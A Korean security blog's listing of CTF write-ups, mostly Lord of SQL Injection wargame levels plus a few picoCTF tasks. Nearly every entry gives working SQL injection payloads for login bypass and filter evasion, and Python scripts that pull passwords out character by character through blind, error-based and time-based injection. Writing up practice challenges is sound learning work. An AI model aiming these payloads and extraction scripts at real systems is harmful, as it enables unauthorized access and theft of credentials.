Hubeen's Home

0x20 Security/0x25 Write-Ups 45건이 검색되었습니다.


이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다.


intel_syntax noprefix

.bits 32

.global asm0

asm0:

push ebp

mov ebp,esp

mov eax,DWORD PTR [ebp+0x8]

mov ebx,DWORD PTR [ebp+0xc]

mov eax,ebx

mov esp,ebp

pop ebp

ret


ebp + 0x8 = argv[1]

ebp + 0xc = argv[2]


mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다.


eax는 리턴값이다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (0) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

댓글 0


이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.

허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.

그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다.


수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다.


POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다.





플래그를 얻을 수 있었다.


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (0) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

댓글 0

이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.


먼저 길이는 아래의 쿼리로 가져올 수 있다.


a' or length(answer)=5 -- -


코드를 작성하여 편하게 가져왔다.



import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))



그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.


 a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -


이 역시 편하게 코드를 작성하여 처리했다.

exploit.py 


import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))


flag = ""

for i in range(1, length+1):

print("start " + str(i))

for c in range(48,125):

param = {'answer' : "a' or length(answer)=14 and unicode(substr(answer," + str(i) + ",1))=" + str(c) + " -- - ", 'debug': 0}

rs = requests.post(url, data=param, headers=headers)

text = rs.text

if("Wrong." in text):

continue

else:

print("find " + chr(c))

flag += chr(c)

break

print(flag)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (0) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

댓글 0


이 문제는 flag를 알아내면 되는 문제이다.

허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.


$new_flag substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);


ㅇㅇ;;


update문을 에러를 띄워서 찾아내면 대는거시다.

그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.


하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.


방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.

sleep(0) 일 경우  select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.

맞으면 sleep(3)이 되어 실행이 대는거시다



import requests

import time


url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -

'''

length = 16

strs = ""


for i in range(1, 50):

    start = time.time()

    rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


    if((time.time()-start) > 2):

        print("find it length = " + str(i))

        length = i

        break


for i in range(1, length+1):

    print(str(i) + " start !")

    for c in range(48, 127):

        start = time.time()

        rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


        if((time.time()-start) >2):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            strs += chr(c)

            break



print(strs)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22

댓글 0


이 문제는 if문이 막혀있었다.

그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다.



이것을 이용해서 이전 문제와 비슷하게 풀어냈다.


import requests



url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=" + str(i) + "%20union%20select%201)--%20-", headers=headers, cookies=cookies)

    text = rs.text


    if("query" in text):

        print("find it length = " + str(i))

        length = i

        break



# get length


for i in range(1, length+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20ord(substr(pw, " + str(i) + ",1))="+ str(c) +"%20union%20select%201)--%20-", headers=headers, cookies=cookies)

        text = rs.text


        if("query" in text):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            break

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] A Simple Question  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22

댓글 0


이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.


그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.


select * from table where 1 and if(1=1,1,(select 1 union select 2))


select * from table where 1 and if(1=2,1,(select 1 union select 2))


첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.


두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,


서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)


http://hackerschool.org/Sub_Html/HS_Posting/?uid=43


글을 읽고 풀었다.


너모 감사드린다.


import requests


url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20

error : Subquery returns more than 1 row

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

    text = rs.text

    if("Subquery returns more than 1 row" in text):

        pass

    else:

        print("find it length = " + str(i))

        length = i/4

        break


# get length


for i in range(1, i+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

        text = rs.text

        if(not "Subquery returns more than 1 row" in text):

            print(str(i) + " find it " + str(c))

            break


유니코드이기때문에 /4를 해주었다.



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22

댓글 0


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22

댓글 0


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22

댓글 0


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22

댓글 0


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22

댓글 0


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22

댓글 0


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22

댓글 0


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22

댓글 0


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22

댓글 0


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22

댓글 0


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22

댓글 0


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22

댓글 0


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22

댓글 0


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22

댓글 0


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22

댓글 0


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18

댓글 0


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18

댓글 0


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18

댓글 0


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21

댓글 0


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11

댓글 0




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인